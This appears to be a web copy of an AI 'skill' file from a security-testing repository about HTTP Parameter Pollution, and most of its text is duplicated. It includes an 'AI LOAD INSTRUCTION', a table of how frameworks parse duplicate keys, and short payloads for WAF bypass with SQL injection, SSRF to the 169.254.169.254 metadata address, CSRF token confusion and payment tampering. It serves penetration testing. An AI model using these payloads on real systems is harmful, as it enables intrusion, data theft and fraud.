/http-parameter-pollution
HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
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HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
SKILL.md
http-parameter-pollution.SKILL.mdname: http-parameter-pollution
description: >-
HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
SKILL: HTTP Parameter Pollution (HPP)
> **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.
0. QUICK START
**Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.
First-pass payloads
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
Body variants (repeat for POST)
application/x-www-form-urlencoded
id=1&id=2
multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
Quick methodology
1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`. 2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive). 3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).
---
1. SERVER BEHAVIOR MATRIX
Typical defaults — **always confirm**; middleware and custom parsers override these.
| Technology | Behavior | Example: `a=1&a=2` | |---|---|---| | PHP / Apache (`$_GET`) | Last occurrence | `a=2` | | ASP.NET / IIS | Often comma-joined (all) | `a=1,2` | | JSP / Tomcat (servlet param) | First occurrence | `a=1` | | Python / Django (`QueryDict`) | Last occurrence | `a=2` | | Python / Flask (`request.args`) | First occurrence | `a=1` | | Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) | | Perl / CGI | First occurrence | `a=1` | | Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` | | Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |
**Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.
---
2. PAYLOAD PATTERNS
2.1 Basic duplicate key
GET /api?q=safe&q=evil HTTP/1.1
2.2 Array-style (PHP / some frameworks)
GET /api?id[]=1&id[]=2 HTTP/1.1
2.3 Mixed array + scalar
GET /api?item[]=a&item=b HTTP/1.1
2.4 Encoded ampersand (parser differential)
# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2
2.5 Nested / bracket keys
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
2.6 JSON duplicate keys
{"test":"user","test":"admin"}Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.
---
3. ATTACK SCENARIOS
3.1 HPP + WAF bypass
**Pattern**: WAF inspects **first** value; application uses **last**.
id=1&id=1%20UNION%20SELECT%20...
Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
3.2 HPP + SSRF
**Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.
url=https://allowed.cdn.example/&url=http://169.254.169.254/
Confirm which component (library vs app) consumes which occurrence.
3.3 HPP + CSRF
**Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
csrf=LEGIT&csrf=IGNORED_OR_ALT
Use only in **authorized** CSRF assessments with a clear state-changing target.
3.4 HPP + business logic (e.g. payment)
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.
---
4. TOOLS
| Tool | How to use | |---|---| | **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation | | **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants | | **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
**Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.
---
5. DECISION TREE
+-------------------------+
| Duplicate param name |
| same request |
+------------+------------+
|
+------------------+------------------+
| |
+------v------+ +------v------+
| Single app | | WAF / CDN / |
| layer only | | proxy chain |
+------+------+ +------+------+
| |
+---------v---------+ +---------v---------+
| Read framework | | Map each hop: |
| docs + test | | first/last/join/ |
| a=1&a=2 vs swap | | array |
+---------+---------+ +---------+---------+
| |
+---Read more
name: http-parameter-pollution description: >- HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
SKILL: HTTP Parameter Pollution (HPP)
> **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.
0. QUICK START
**Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.
First-pass payloads
id=1&id=2 id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example amount=1&amount=9999 csrf=TOKEN_A&csrf=TOKEN_B user=alice&user=admin
Body variants (repeat for POST)
application/x-www-form-urlencoded id=1&id=2 multipart/form-data ------boundary Content-Disposition: form-data; name="id" 1 ------boundary Content-Disposition: form-data; name="id" 2
Quick methodology
1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`. 2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive). 3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).
---
1. SERVER BEHAVIOR MATRIX
Typical defaults — **always confirm**; middleware and custom parsers override these.
| Technology | Behavior | Example: `a=1&a=2` | |---|---|---| | PHP / Apache (`$_GET`) | Last occurrence | `a=2` | | ASP.NET / IIS | Often comma-joined (all) | `a=1,2` | | JSP / Tomcat (servlet param) | First occurrence | `a=1` | | Python / Django (`QueryDict`) | Last occurrence | `a=2` | | Python / Flask (`request.args`) | First occurrence | `a=1` | | Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) | | Perl / CGI | First occurrence | `a=1` | | Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` | | Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |
**Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.
---
2. PAYLOAD PATTERNS
2.1 Basic duplicate key
GET /api?q=safe&q=evil HTTP/1.1
2.2 Array-style (PHP / some frameworks)
GET /api?id[]=1&id[]=2 HTTP/1.1
2.3 Mixed array + scalar
GET /api?item[]=a&item=b HTTP/1.1
2.4 Encoded ampersand (parser differential)
# Literal & inside a value vs new pair — depends on decoder param=value1%26other=value2 param=value1&other=value2
2.5 Nested / bracket keys
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
2.6 JSON duplicate keys
{"test":"user","test":"admin"}Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.
---
3. ATTACK SCENARIOS
3.1 HPP + WAF bypass
**Pattern**: WAF inspects **first** value; application uses **last**.
id=1&id=1%20UNION%20SELECT%20...
Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
3.2 HPP + SSRF
**Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.
url=https://allowed.cdn.example/&url=http://169.254.169.254/
Confirm which component (library vs app) consumes which occurrence.
3.3 HPP + CSRF
**Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
csrf=LEGIT&csrf=IGNORED_OR_ALT
Use only in **authorized** CSRF assessments with a clear state-changing target.
3.4 HPP + business logic (e.g. payment)
amount=1&amount=5000 quantity=1&quantity=-1 price=9.99&price=0.01
Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.
---
4. TOOLS
| Tool | How to use | |---|---| | **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation | | **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants | | **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
**Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.
---
5. DECISION TREE
+-------------------------+
| Duplicate param name |
| same request |
+------------+------------+
|
+------------------+------------------+
| |
+------v------+ +------v------+
| Single app | | WAF / CDN / |
| layer only | | proxy chain |
+------+------+ +------+------+
| |
+---------v---------+ +---------v---------+
| Read framework | | Map each hop: |
| docs + test | | first/last/join/ |
| a=1&a=2 vs swap | | array |
+---------+---------+ +---------+---------+
| |
+---Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
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